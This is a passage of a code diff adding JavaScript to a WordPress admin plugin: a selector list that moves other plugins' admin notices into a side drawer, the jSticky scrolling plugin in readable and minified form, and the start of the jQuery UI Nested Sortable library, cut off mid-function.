+ '#wpbody-content > form > .wrap > .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > form > .wrap > .notice-success,'
|
||||
+ '#wpbody-content > form > .wrap > .notice-updated,'
|
||||
+ '#wpbody-content > form > .wrap > .updated:not(.inline),'
|
||||
+ '#wpbody-content > form > .wrap > .update-nag,'
|
||||
// WooCommerce
|
||||
+ '#wpbody-content > .wrap.woocommerce > form > .notice:not(.system-notice,.hidden),'
|
||||
+ '#wpbody-content > .wrap.woocommerce > form > .notice-error,'
|
||||
+ '#wpbody-content > .wrap.woocommerce > form > .error:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap.woocommerce > form > .notice-info,'
|
||||
+ '#wpbody-content > .wrap.woocommerce > form > .notice-information,'
|
||||
+ '#wpbody-content > .wrap.woocommerce > form > #message,'
|
||||
+ '#wpbody-content > .wrap.woocommerce > form > .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap.woocommerce > form > .notice-success,'
|
||||
+ '#wpbody-content > .wrap.woocommerce > form > .notice-updated,'
|
||||
+ '#wpbody-content > .wrap.woocommerce > form > .updated:not(.inline),'
|
||||
+ '#wpbody-content > .wrap.woocommerce > form > .update-nag,'
|
||||
// TranslatePress
|
||||
+ '#wpbody-content > #trp-main-settings > form > .notice:not(.system-notice,.hidden),'
|
||||
+ '#wpbody-content > #trp-main-settings > form > .notice-error,'
|
||||
+ '#wpbody-content > #trp-main-settings > form > .error:not(.hidden),'
|
||||
+ '#wpbody-content > #trp-main-settings > form > .notice-info,'
|
||||
+ '#wpbody-content > #trp-main-settings > form > .notice-information,'
|
||||
+ '#wpbody-content > #trp-main-settings > form > #message,'
|
||||
+ '#wpbody-content > #trp-main-settings > form > .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > #trp-main-settings > form > .notice-success,'
|
||||
+ '#wpbody-content > #trp-main-settings > form > .notice-updated,'
|
||||
+ '#wpbody-content > #trp-main-settings > form > .updated:not(.inline),'
|
||||
+ '#wpbody-content > #trp-main-settings > form > .update-nag,'
|
||||
// WordFence
|
||||
+ '#wpbody-content > .wrap > .wf-container-fluid .notice:not(.system-notice,.hidden,.wcml-notice),'
|
||||
+ '#wpbody-content > .wrap > .wf-container-fluid .notice-error,'
|
||||
+ '#wpbody-content > .wrap > .wf-container-fluid .error:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap > .wf-container-fluid .notice-info,'
|
||||
+ '#wpbody-content > .wrap > .wf-container-fluid .notice-information,'
|
||||
+ '#wpbody-content > .wrap > .wf-container-fluid #message,'
|
||||
+ '#wpbody-content > .wrap > .wf-container-fluid .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap > .wf-container-fluid .notice-success,'
|
||||
+ '#wpbody-content > .wrap > .wf-container-fluid .notice-updated,'
|
||||
+ '#wpbody-content > .wrap > .wf-container-fluid .updated:not(.inline),'
|
||||
+ '#wpbody-content > .wrap > .wf-container-fluid .update-nag,'
|
||||
// WP All Import
|
||||
+ '#wpbody-content > .wrap .wpallimport-wrapper .notice:not(.system-notice,.hidden,.wcml-notice),'
|
||||
+ '#wpbody-content > .wrap .wpallimport-wrapper .notice-error,'
|
||||
+ '#wpbody-content > .wrap .wpallimport-wrapper .error:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap .wpallimport-wrapper .notice-info,'
|
||||
+ '#wpbody-content > .wrap .wpallimport-wrapper .notice-information,'
|
||||
+ '#wpbody-content > .wrap .wpallimport-wrapper #message,'
|
||||
+ '#wpbody-content > .wrap .wpallimport-wrapper .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap .wpallimport-wrapper .notice-success,'
|
||||
+ '#wpbody-content > .wrap .wpallimport-wrapper .notice-updated,'
|
||||
+ '#wpbody-content > .wrap .wpallimport-wrapper .updated:not(.inline),'
|
||||
+ '#wpbody-content > .wrap .wpallimport-wrapper .update-nag,'
|
||||
// WP All Export
|
||||
+ '#wpbody-content > .wrap .wpallexport-wrapper .notice:not(.system-notice,.hidden,.wcml-notice),'
|
||||
+ '#wpbody-content > .wrap .wpallexport-wrapper .notice-error,'
|
||||
+ '#wpbody-content > .wrap .wpallexport-wrapper .error:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap .wpallexport-wrapper .notice-info,'
|
||||
+ '#wpbody-content > .wrap .wpallexport-wrapper .notice-information,'
|
||||
+ '#wpbody-content > .wrap .wpallexport-wrapper #message,'
|
||||
+ '#wpbody-content > .wrap .wpallexport-wrapper .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap .wpallexport-wrapper .notice-success,'
|
||||
+ '#wpbody-content > .wrap .wpallexport-wrapper .notice-updated,'
|
||||
+ '#wpbody-content > .wrap .wpallexport-wrapper .updated:not(.inline),'
|
||||
+ '#wpbody-content > .wrap .wpallexport-wrapper .update-nag,'
|
||||
// WS Form
|
||||
+ '#wpbody-content > #wsf-layout-editor > #poststuff > .notice:not(.system-notice,.hidden,.wcml-notice),'
|
||||
+ '#wpbody-content > #wsf-layout-editor > #poststuff > .notice-error,'
|
||||
+ '#wpbody-content > #wsf-layout-editor > #poststuff > .error:not(.hidden),'
|
||||
+ '#wpbody-content > #wsf-layout-editor > #poststuff > .notice-info,'
|
||||
+ '#wpbody-content > #wsf-layout-editor > #poststuff > .notice-information,'
|
||||
+ '#wpbody-content > #wsf-layout-editor > #poststuff > #message,'
|
||||
+ '#wpbody-content > #wsf-layout-editor > #poststuff > .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > #wsf-layout-editor > #poststuff > .notice-success,'
|
||||
+ '#wpbody-content > #wsf-layout-editor > #poststuff > .notice-updated,'
|
||||
+ '#wpbody-content > #wsf-layout-editor > #poststuff > .updated:not(.inline),'
|
||||
+ '#wpbody-content > #wsf-layout-editor > #poststuff > .update-nag,'
|
||||
// Pods
|
||||
+ '#wpbody-content .pods-submittable-fields > .notice:not(.system-notice,.hidden,.wcml-notice),'
|
||||
+ '#wpbody-content .pods-submittable-fields > .notice-error,'
|
||||
+ '#wpbody-content .pods-submittable-fields > .error:not(.hidden),'
|
||||
+ '#wpbody-content .pods-submittable-fields > .notice-info,'
|
||||
+ '#wpbody-content .pods-submittable-fields > .notice-information,'
|
||||
+ '#wpbody-content .pods-submittable-fields > #message,'
|
||||
+ '#wpbody-content .pods-submittable-fields > .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content .pods-submittable-fields > .notice-success,'
|
||||
+ '#wpbody-content .pods-submittable-fields > .notice-updated,'
|
||||
+ '#wpbody-content .pods-submittable-fields > .updated:not(.inline),'
|
||||
+ '#wpbody-content .pods-submittable-fields > .update-nag,'
|
||||
// Meta Box Lite
|
||||
+ '.mb-main > .notice:not(.system-notice,.hidden,.wcml-notice),'
|
||||
+ '.mb-main > .notice-error,'
|
||||
+ '.mb-main > .error:not(.hidden),'
|
||||
+ '.mb-main > .notice-info,'
|
||||
+ '.mb-main > .notice-information,'
|
||||
+ '.mb-main > #message,'
|
||||
+ '.mb-main > .notice-warning:not(.hidden),'
|
||||
+ '.mb-main > .notice-success,'
|
||||
+ '.mb-main > .notice-updated,'
|
||||
+ '.mb-main > .updated:not(.inline),'
|
||||
+ '.mb-main > .update-nag,'
|
||||
// Meta Box AIO
|
||||
+ '.mb-header__left > .notice:not(.system-notice,.hidden,.wcml-notice),'
|
||||
+ '.mb-header__left > .notice-error,'
|
||||
+ '.mb-header__left > .error:not(.hidden),'
|
||||
+ '.mb-header__left > .notice-info,'
|
||||
+ '.mb-header__left > .notice-information,'
|
||||
+ '.mb-header__left > #message,'
|
||||
+ '.mb-header__left > .notice-warning:not(.hidden),'
|
||||
+ '.mb-header__left > .notice-success,'
|
||||
+ '.mb-header__left > .notice-updated,'
|
||||
+ '.mb-header__left > .updated:not(.inline),'
|
||||
+ '.mb-header__left > .update-nag,'
|
||||
// Funnel Builder for WordPress by FunnelKit
|
||||
+ '#wpbody-content > .bwfan_header > .notice:not(.system-notice,.hidden),'
|
||||
+ '#wpbody-content > .bwfan_header > .notice-error,'
|
||||
+ '#wpbody-content > .bwfan_header > .error:not(.hidden),'
|
||||
+ '#wpbody-content > .bwfan_header > .notice-info,'
|
||||
+ '#wpbody-content > .bwfan_header > .notice-information,'
|
||||
+ '#wpbody-content > .bwfan_header > #message,'
|
||||
+ '#wpbody-content > .bwfan_header > .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > .bwfan_header > .notice-success,'
|
||||
+ '#wpbody-content > .bwfan_header > .notice-updated,'
|
||||
+ '#wpbody-content > .bwfan_header > .updated:not(.inline),'
|
||||
+ '#wpbody-content > .bwfan_header > .update-nag,'
|
||||
+ '#wpbody-content > .notice:not(.otgs-notice,.wcml-notice,#asenha-smtp-password-notice),' // LearnDash, WPML WooCommerce Multilingual
|
||||
+ '#wpbody-content > .update-nag,' // LearnDash
|
||||
+ '#wpbody-content > .jp-connection-banner,' // Jetpack
|
||||
+ '#wpbody-content > .jitm-banner,' // Jetpack
|
||||
+ '#wpbody-content > .jetpack-jitm-message,' // Jetpack
|
||||
+ '#wpbody-content > .ngg_admin_notice,' // Nextgen Gallery
|
||||
+ '#wpbody-content > .imagify-welcome,' // Imagify
|
||||
+ '#wpbody-content #wordfenceAutoUpdateChoice,' // Wordfence
|
||||
+ '#wpbody-content #easy-updates-manager-dashnotice,' // Easy Updates Manager
|
||||
// GenerateBlocks
|
||||
+ '#wpbody-content > .wrap.gblocks-dashboard-wrap .notice:not(.system-notice,.hidden),'
|
||||
+ '#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-error,'
|
||||
+ '#wpbody-content > .wrap.gblocks-dashboard-wrap .error:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-info,'
|
||||
+ '#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-information,'
|
||||
+ '#wpbody-content > .wrap.gblocks-dashboard-wrap #message,'
|
||||
+ '#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-success,'
|
||||
+ '#wpbody-content > .wrap.gblocks-dashboard-wrap .notice-updated,'
|
||||
+ '#wpbody-content > .wrap.gblocks-dashboard-wrap .updated:not(.inline),'
|
||||
+ '#wpbody-content > .wrap.gblocks-dashboard-wrap .update-nag,'
|
||||
// WPML
|
||||
+ '#wpbody-content > .otgs-notice,'
|
||||
// WooCommerce Stock Sync
|
||||
+ '#wpbody-content > .wrap > .ssgs-influencer-banner,'
|
||||
+ '#wpbody-content > .wrap > .ssgs-upgrade-banner,'
|
||||
+ '#wpbody-content > .wrap > .ssgs-rating-banner,'
|
||||
// Shortpixel
|
||||
+ '#wpbody-content > .shortpixel-notice,'
|
||||
// BdThemes Element Pack Pro
|
||||
+ '#wpbody-content > .wrap > .biggopti,'
|
||||
// Dokan
|
||||
+ '#wpbody-content > .wrap .dokan-dashboard .notice:not(.system-notice,.hidden,.wcml-notice),'
|
||||
+ '#wpbody-content > .wrap .dokan-dashboard .notice-error,'
|
||||
+ '#wpbody-content > .wrap .dokan-dashboard .error:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap .dokan-dashboard .notice-info,'
|
||||
+ '#wpbody-content > .wrap .dokan-dashboard .notice-information,'
|
||||
+ '#wpbody-content > .wrap .dokan-dashboard #message,'
|
||||
+ '#wpbody-content > .wrap .dokan-dashboard .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap .dokan-dashboard .notice-success,'
|
||||
+ '#wpbody-content > .wrap .dokan-dashboard .notice-updated,'
|
||||
+ '#wpbody-content > .wrap .dokan-dashboard .updated:not(.inline),'
|
||||
+ '#wpbody-content > .wrap .dokan-dashboard .update-nag,'
|
||||
// Admin Columns
|
||||
+ '#wpbody-content > .wrap .ac-admin-page .notice:not(.system-notice,.hidden),'
|
||||
+ '#wpbody-content > .wrap .ac-admin-page .notice-error,'
|
||||
+ '#wpbody-content > .wrap .ac-admin-page .error:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap .ac-admin-page .notice-info,'
|
||||
+ '#wpbody-content > .wrap .ac-admin-page .notice-information,'
|
||||
+ '#wpbody-content > .wrap .ac-admin-page #message,'
|
||||
+ '#wpbody-content > .wrap .ac-admin-page .notice-warning:not(.hidden),'
|
||||
+ '#wpbody-content > .wrap .ac-admin-page .notice-success,'
|
||||
+ '#wpbody-content > .wrap .ac-admin-page .notice-updated,'
|
||||
+ '#wpbody-content > .wrap .ac-admin-page .updated:not(.inline),'
|
||||
+ '#wpbody-content > .wrap .ac-admin-page .update-nag'
|
||||
);
|
||||
|
||||
// Keep the SMTP password notice visible in place.
|
||||
noticesToMove = noticesToMove.not('.asenha-smtp-password-notice,#asenha-smtp-password-notice');
|
||||
|
||||
// Keep the View Admin as Role recovery URL notice visible in place.
|
||||
noticesToMove = noticesToMove.not('.asenha-view-admin-as-role-recovery-notice,#asenha-view-admin-as-role-recovery-notice');
|
||||
|
||||
|
||||
|
||||
noticesToMove.not(':hidden').detach()
|
||||
.appendTo(noticesPanel)
|
||||
.show();
|
||||
|
||||
}, 250);
|
||||
|
||||
// Set up the side drawer that holds the hidden admin notices: https://stephanwagner.me/jBox
|
||||
|
||||
var noticesModal = new jBox('Modal', {
|
||||
attach: '.asenha-admin-notices-menu',
|
||||
trigger: 'click', // or 'mouseenter'
|
||||
// content: 'Test'
|
||||
content: $('.asenha-admin-notices-drawer'),
|
||||
width: 1118, // pixels
|
||||
closeButton: 'box',
|
||||
addClass: 'admin-notices-modal',
|
||||
overlayClass: 'admin-notices-modal-overlay',
|
||||
target: '#wpwrap', // where to anchor the modal
|
||||
position: {
|
||||
x: 'right',
|
||||
y: 'top'
|
||||
},
|
||||
// fade: 1000,
|
||||
animation: {
|
||||
open: 'slide:bottom',
|
||||
close: 'slide:bottom'
|
||||
}
|
||||
});
|
||||
|
||||
$(document).on('click', '.asenha-admin-notices-drawer', function() {
|
||||
setTimeout(
|
||||
function()
|
||||
{
|
||||
// Let's wait 200ms before we proceed. Give enough time for a notice div to be cleared from the DOM before recounting the notices
|
||||
noticesCount = $('.asenha-admin-notices-drawer > div').length;
|
||||
$('.asenha-admin-notices-counter').html(noticesCount); // insert count
|
||||
}, 2000);
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
})( jQuery );
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,126 @@
|
||||
/* jSticky Plugin
|
||||
* =============
|
||||
* Author: Andrew Henderson (@AndrewHenderson)
|
||||
* Contributor: Mike Street (@mikestreety)
|
||||
* Date: 9/7/2012
|
||||
* Update: 09/20/2016
|
||||
* Website: http://github.com/andrewhenderson/jsticky/
|
||||
* Description: A jQuery plugin that keeps select DOM
|
||||
* element(s) in view while scrolling the page.
|
||||
*/
|
||||
|
||||
// Modifications to compensate for WordPress admin bar height, wp-admin .wrap class top margin and plugin page's margin top is done by Bowo (https://bowo.io)
|
||||
(function($) {
|
||||
|
||||
$.fn.sticky = function(options) {
|
||||
var defaults = {
|
||||
topSpacing: 0, // No spacing by default
|
||||
zIndex: '', // No default z-index
|
||||
stopper: '.sticky-stopper', // Default stopper class, also accepts number value
|
||||
stickyClass: false // Class applied to element when it's stuck
|
||||
};
|
||||
var settings = $.extend({}, defaults, options); // Accepts custom stopper id or class
|
||||
|
||||
// Checks if custom z-index was defined
|
||||
function checkIndex() {
|
||||
if (typeof settings.zIndex == 'number') {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
var hasIndex = checkIndex(); // True or false
|
||||
|
||||
// Checks if a stopper exists in the DOM or number defined
|
||||
function checkStopper() {
|
||||
if (0 < $(settings.stopper).length || typeof settings.stopper === 'number') {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
var hasStopper = checkStopper(); // True or false
|
||||
|
||||
return this.each(function() {
|
||||
|
||||
var $this = $(this);
|
||||
var adminBarHeight = 32; // height of WP admin bar
|
||||
// var adminBarOffset = 8;
|
||||
var adminBarOffset = 0;
|
||||
var adminWrapOffset = 0; // margin-top of wp-admin .wrap
|
||||
// var headerMarginTop = 24;
|
||||
var headerMarginTop = 0;
|
||||
var thisHeight = $this.outerHeight();
|
||||
var thisWidth = $this.outerWidth();
|
||||
var topSpacing = settings.topSpacing;
|
||||
var zIndex = settings.zIndex;
|
||||
var pushPoint = $this.offset().top - topSpacing - adminBarHeight; // Point at which the sticky element starts pushing
|
||||
var placeholder = $('<div></div>').width(thisWidth).height(thisHeight).css('margin-top',headerMarginTop+'px').addClass('sticky-placeholder'); // Cache a clone sticky element
|
||||
var stopper = settings.stopper;
|
||||
var $window = $(window);
|
||||
|
||||
function stickyScroll() {
|
||||
|
||||
var windowTop = $window.scrollTop(); // Check window's scroll position
|
||||
var stopPoint = stopper;
|
||||
var parentWidth = $this.parent().width();
|
||||
|
||||
placeholder.width(parentWidth)
|
||||
|
||||
if ( hasStopper && typeof stopper === 'string' ) {
|
||||
var stopperTop = $(stopper).offset().top;
|
||||
stopPoint = (stopperTop - thisHeight) - topSpacing;
|
||||
}
|
||||
|
||||
// console.log( 'thisHeight: ' + thisHeight + ' | thisWidth: ' + thisWidth + ' | pushPoint: ' + pushPoint + ' | windowTop: ' + windowTop + ' | stopPoint: ' + stopPoint );
|
||||
|
||||
if (pushPoint < windowTop) {
|
||||
// Create a placeholder for sticky element to occupy vertical real estate
|
||||
if(settings.stickyClass)
|
||||
$this.addClass(settings.stickyClass,0);
|
||||
|
||||
$this.after(placeholder).css({
|
||||
position: 'fixed',
|
||||
top: topSpacing + adminBarOffset,
|
||||
width: parentWidth
|
||||
});
|
||||
|
||||
if (hasIndex) {
|
||||
$this.css({
|
||||
zIndex: zIndex
|
||||
});
|
||||
}
|
||||
|
||||
if (hasStopper) {
|
||||
if (stopPoint < windowTop) {
|
||||
var diff = (stopPoint - windowTop) + topSpacing + adminBarOffset;
|
||||
$this.css({
|
||||
top: diff
|
||||
});
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if(settings.stickyClass)
|
||||
$this.removeClass(settings.stickyClass);
|
||||
|
||||
$this.css({
|
||||
position: 'static',
|
||||
top: null,
|
||||
left: null,
|
||||
width: 'auto'
|
||||
});
|
||||
|
||||
placeholder.remove();
|
||||
}
|
||||
}
|
||||
|
||||
if($window.innerHeight() > thisHeight) {
|
||||
|
||||
$window.bind('scroll', stickyScroll);
|
||||
$window.bind('load', stickyScroll);
|
||||
$window.bind('resize', stickyScroll);
|
||||
}
|
||||
});
|
||||
};
|
||||
})(jQuery);
|
||||
+1
@@ -0,0 +1 @@
|
||||
!function(t){t.fn.sticky=function(s){var i=t.extend({},{topSpacing:0,zIndex:"",stopper:".sticky-stopper",stickyClass:!1},s);var e="number"==typeof i.zIndex;var o=0<t(i.stopper).length||"number"==typeof i.stopper;return this.each((function(){var s=t(this),n=s.outerHeight(),p=s.outerWidth(),r=i.topSpacing,a=i.zIndex,c=s.offset().top-r-32,d=t("<div></div>").width(p).height(n).css("margin-top","0px").addClass("sticky-placeholder"),l=i.stopper,f=t(window);function h(){var p=f.scrollTop(),h=l,u=s.parent().width();(d.width(u),o&&"string"==typeof l)&&(h=t(l).offset().top-n-r);if(c<p){if(i.stickyClass&&s.addClass(i.stickyClass,0),s.after(d).css({position:"fixed",top:r+0,width:u}),e&&s.css({zIndex:a}),o&&h<p){var y=h-p+r+0;s.css({top:y})}}else i.stickyClass&&s.removeClass(i.stickyClass),s.css({position:"static",top:null,left:null,width:"auto"}),d.remove()}f.innerHeight()>n&&(f.bind("scroll",h),f.bind("load",h),f.bind("resize",h))}))}}(jQuery);
|
||||
@@ -0,0 +1,913 @@
|
||||
/*
|
||||
* jQuery UI Nested Sortable
|
||||
* v 2.1a / 2016-02-04
|
||||
* https://github.com/ilikenwf/nestedSortable
|
||||
*
|
||||
* Depends on:
|
||||
* jquery.ui.sortable.js 1.10+
|
||||
*
|
||||
* Copyright (c) 2010-2016 Manuele J Sarfatti and contributors
|
||||
* Licensed under the MIT License
|
||||
* http://www.opensource.org/licenses/mit-license.php
|
||||
*/
|
||||
(function( factory ) {
|
||||
"use strict";
|
||||
|
||||
if ( typeof define === "function" && define.amd ) {
|
||||
|
||||
// AMD. Register as an anonymous module.
|
||||
define([
|
||||
"jquery",
|
||||
"jquery-ui/ui/sortable"
|
||||
], factory );
|
||||
} else {
|
||||
|
||||
// Browser globals
|
||||
factory( window.jQuery );
|
||||
}
|
||||
}(function($) {
|
||||
"use strict";
|
||||
|
||||
function isOverAxis( x, reference, size ) {
|
||||
return ( x > reference ) && ( x < ( reference + size ) );
|
||||
}
|
||||
|
||||
$.widget("mjs.nestedSortable", $.extend({}, $.ui.sortable.prototype, {
|
||||
|
||||
options: {
|
||||
disableParentChange: false,
|
||||
doNotClear: false,
|
||||
expandOnHover: 700,
|
||||
isAllowed: function() { return true; },
|
||||
isTree: false,
|
||||
listType: "ol",
|
||||
maxLevels: 0,
|
||||
protectRoot: false,
|
||||
rootID: null,
|
||||
rtl: false,
|
||||
startCollapsed: false,
|
||||
tabSize: 20,
|
||||
|
||||
branchClass: "mjs-nestedSortable-branch",
|
||||
collapsedClass: "mjs-nestedSortable-collapsed",
|
||||
disableNestingClass: "mjs-nestedSortable-no-nesting",
|
||||
errorClass: "mjs-nestedSortable-error",
|
||||
expandedClass: "mjs-nestedSortable-expanded",
|
||||
hoveringClass: "mjs-nestedSortable-hovering",
|
||||
leafClass: "mjs-nestedSortable-leaf",
|
||||
disabledClass: "mjs-nestedSortable-disabled"
|
||||
},
|
||||
|
||||
_create: function() {
|
||||
var self = this,
|
||||
err;
|
||||
|
||||
this.element.data("ui-sortable", this.element.data("mjs-nestedSortable"));
|
||||
|
||||
// mjs - prevent browser from freezing if the HTML is not correct
|
||||
if (!this.element.is(this.options.listType)) {
|
||||
err = "nestedSortable: " +
|
||||
"Please check that the listType option is set to your actual list type";
|
||||
|
||||
throw new Error(err);
|
||||
}
|
||||
|
||||
// if we have a tree with expanding/collapsing functionality,
|
||||
// force 'intersect' tolerance method
|
||||
if (this.options.isTree && this.options.expandOnHover) {
|
||||
this.options.tolerance = "intersect";
|
||||
}
|
||||
|
||||
$.ui.sortable.prototype._create.apply(this, arguments);
|
||||
|
||||
// prepare the tree by applying the right classes
|
||||
// (the CSS is responsible for actual hide/show functionality)
|
||||
if (this.options.isTree) {
|
||||
$(this.items).each(function() {
|
||||
var $li = this.item,
|
||||
hasCollapsedClass = $li.hasClass(self.options.collapsedClass),
|
||||
hasExpandedClass = $li.hasClass(self.options.expandedClass);
|
||||
|
||||
if ($li.children(self.options.listType).length) {
|
||||
$li.addClass(self.options.branchClass);
|
||||
// expand/collapse class only if they have children
|
||||
|
||||
if ( !hasCollapsedClass && !hasExpandedClass ) {
|
||||
if (self.options.startCollapsed) {
|
||||
$li.addClass(self.options.collapsedClass);
|
||||
} else {
|
||||
$li.addClass(self.options.expandedClass);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
$li.addClass(self.options.leafClass);
|
||||
}
|
||||
});
|
||||
}
|
||||
},
|
||||
|
||||
_destroy: function() {
|
||||
this.element
|
||||
.removeData("mjs-nestedSortable")
|
||||
.removeData("ui-sortable");
|
||||
return $.ui.sortable.prototype._destroy.apply(this, arguments);
|
||||
},
|
||||
|
||||
_mouseDrag: function(event) {
|
||||
var i,
|
||||
item,
|
||||
itemElement,
|
||||
intersection,
|
||||
self = this,
|
||||
o = this.options,
|
||||
scrolled = false,
|
||||
$document = $(document),
|
||||
previousTopOffset,
|
||||
parentItem,
|
||||
level,
|
||||
childLevels,
|
||||
itemAfter,
|
||||
itemBefore,
|
||||
newList,
|
||||
method,
|
||||
a,
|
||||
previousItem,
|
||||
nextItem,
|
||||
helperIsNotSibling;
|
||||
|
||||
//Compute the helpers position
|
||||
this.position = this._generatePosition(event);
|
||||
this.positionAbs = this._convertPositionTo("absolute");
|
||||
|
||||
if (!this.lastPositionAbs) {
|
||||
this.lastPositionAbs = this.positionAbs;
|
||||
}
|
||||
|
||||
//Do scrolling
|
||||
if (this.options.scroll) {
|
||||
if (this.scrollParent[0] !== document && this.scrollParent[0].tagName !== "HTML") {
|
||||
|
||||
if (
|
||||
(
|
||||
this.overflowOffset.top +
|
||||
this.scrollParent[0].offsetHeight
|
||||
) -
|
||||
event.pageY <
|
||||
o.scrollSensitivity
|
||||
) {
|
||||
scrolled = this.scrollParent.scrollTop() + o.scrollSpeed;
|
||||
this.scrollParent.scrollTop(scrolled);
|
||||
} else if (
|
||||
event.pageY -
|
||||
this.overflowOffset.top <
|
||||
o.scrollSensitivity
|
||||
) {
|
||||
scrolled = this.scrollParent.scrollTop() - o.scrollSpeed;
|
||||
this.scrollParent.scrollTop(scrolled);
|
||||
}
|
||||
|
||||
if (
|
||||
(
|
||||
this.overflowOffset.left +
|
||||
this.scrollParent[0].offsetWidth
|
||||
) -
|
||||
event.pageX <
|
||||
o.scrollSensitivity
|
||||
) {
|
||||
scrolled = this.scrollParent.scrollLeft() + o.scrollSpeed;
|
||||
this.scrollParent.scrollLeft(scrolled);
|
||||
} else if (
|
||||
event.pageX -
|
||||
this.overflowOffset.left <
|
||||
o.scrollSensitivity
|
||||
) {
|
||||
scrolled = this.scrollParent.scrollLeft() - o.scrollSpeed;
|
||||
this.scrollParent.scrollLeft(scrolled);
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
if (
|
||||
event.pageY -
|
||||
$document.scrollTop() <
|
||||
o.scrollSensitivity
|
||||
) {
|
||||
scrolled = $document.scrollTop() - o.scrollSpeed;
|
||||
$document.scrollTop(scrolled);
|
||||
} else if (
|
||||
$(window).height() -
|
||||
(
|
||||
event.pageY -
|
||||
$document.scrollTop()
|
||||
) <
|
||||
o.scrollSensitivity
|
||||
) {
|
||||
scrolled = $document.scrollTop() + o.scrollSpeed;
|
||||
$document.scrollTop(scrolled);
|
||||
}
|
||||
|
||||
if (
|
||||
event.pageX -
|
||||
$document.scrollLeft() <
|
||||
o.scrollSensitivity
|
||||
) {
|
||||
scrolled = $document.scrollLeft() - o.scrollSpeed;
|
||||
$document.scrollLeft(scrolled);
|
||||
} else if (
|
||||
$(window).width() -
|
||||
(
|
||||
event.pageX -
|
||||
$document.scrollLeft()
|
||||
) <
|
||||
o.scrollSensitivity
|
||||
) {
|
||||
scrolled = $document.scrollLeft() + o.scrollSpeed;
|
||||
$document.scrollLeft(scrolled);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (scrolled !== false && $.ui.ddmanager && !o.dropBehaviour) {
|
||||
$.ui.ddmanager.prepareOffsets(this, event);
|
||||
}
|
||||
}
|
||||
|
||||
//Regenerate the absolute position used for position checks
|
||||
this.positionAbs = this._convertPositionTo("absolute");
|
||||
|
||||
// mjs - find the top offset before rearrangement,
|
||||
previousTopOffset = this.placeholder.offset().top;
|
||||
|
||||
//Set the helper position
|
||||
if (!this.options.axis || this.options.axis !== "y") {
|
||||
this.helper[0].style.left = this.position.left + "px";
|
||||
}
|
||||
if (!this.options.axis || this.options.axis !== "x") {
|
||||
this.helper[0].style.top = (this.position.top) + "px";
|
||||
}
|
||||
|
||||
// mjs - check and reset hovering state at each cycle
|
||||
this.hovering = this.hovering ? this.hovering : null;
|
||||
this.mouseentered = this.mouseentered ? this.mouseentered : false;
|
||||
|
||||
// mjs - let's start caching some variables
|
||||
(function() {
|
||||
var _parentItem = this.placeholder.parent().parent();
|
||||
if (_parentItem && _parentItem.closest(".ui-sortable").length) {
|
||||
parentItem = _parentItem;
|
||||
}
|
||||
}.call(this));
|
||||
|
||||
level = this._getLevel(this.placeholder);
|
||||
childLevels = this._getChildLevels(this.helper);
|
||||
newList = document.createElement(o.listType);
|
||||
|
||||
// dragDirection object is required by jquery.ui.sortable.js 1.13+
|
||||
this.dragDirection = {
|
||||
vertical: this._getDragVerticalDirection(),
|
||||
horizontal: this._getDragHorizontalDirection()
|
||||
};
|
||||
|
||||
//Rearrange
|
||||
for (i = this.items.length - 1; i >= 0; i--) {
|
||||
|
||||
//Cache variables and intersection, continue if no intersection
|
||||
item = this.items[i];
|
||||
itemElement = item.item[0];
|
||||
intersection = this._intersectsWithPointer(item);
|
||||
if (!intersection) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Only put the placeholder inside the current Container, skip all
|
||||
// items form other containers. This works because when moving
|
||||
// an item from one container to another the
|
||||
// currentContainer is switched before the placeholder is moved.
|
||||
//
|
||||
// Without this moving items in "sub-sortables" can cause the placeholder to jitter
|
||||
// beetween the outer and inner container.
|
||||
if (item.instance !== this.currentContainer) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// No action if intersected item is disabled
|
||||
// and the element above or below in the direction we're going is also disabled
|
||||
if (itemElement.className.indexOf(o.disabledClass) !== -1) {
|
||||
// Note: intersection hardcoded direction values from
|
||||
// jquery.ui.sortable.js:_intersectsWithPointer
|
||||
if (intersection === 2) {
|
||||
// Going down
|
||||
itemAfter = this.items[i + 1];
|
||||
if (itemAfter && itemAfter.item.hasClass(o.disabledClass)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
} else if (intersection === 1) {
|
||||
// Going up
|
||||
itemBefore = this.items[i - 1];
|
||||
if (itemBefore && itemBefore.item.hasClass(o.disabledClass)) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
method = intersection === 1 ? "next" : "prev";
|
||||
|
||||
// cannot intersect with itself
|
||||
// no useless actions that have been done before
|
||||
// no action if the item moved is the parent of the item checked
|
||||
if (itemElement !== this.currentItem[0] &&
|
||||
this.placeholder[method]()[0] !== itemElement &&
|
||||
!$.contains(this.placeholder[0], itemElement) &&
|
||||
(
|
||||
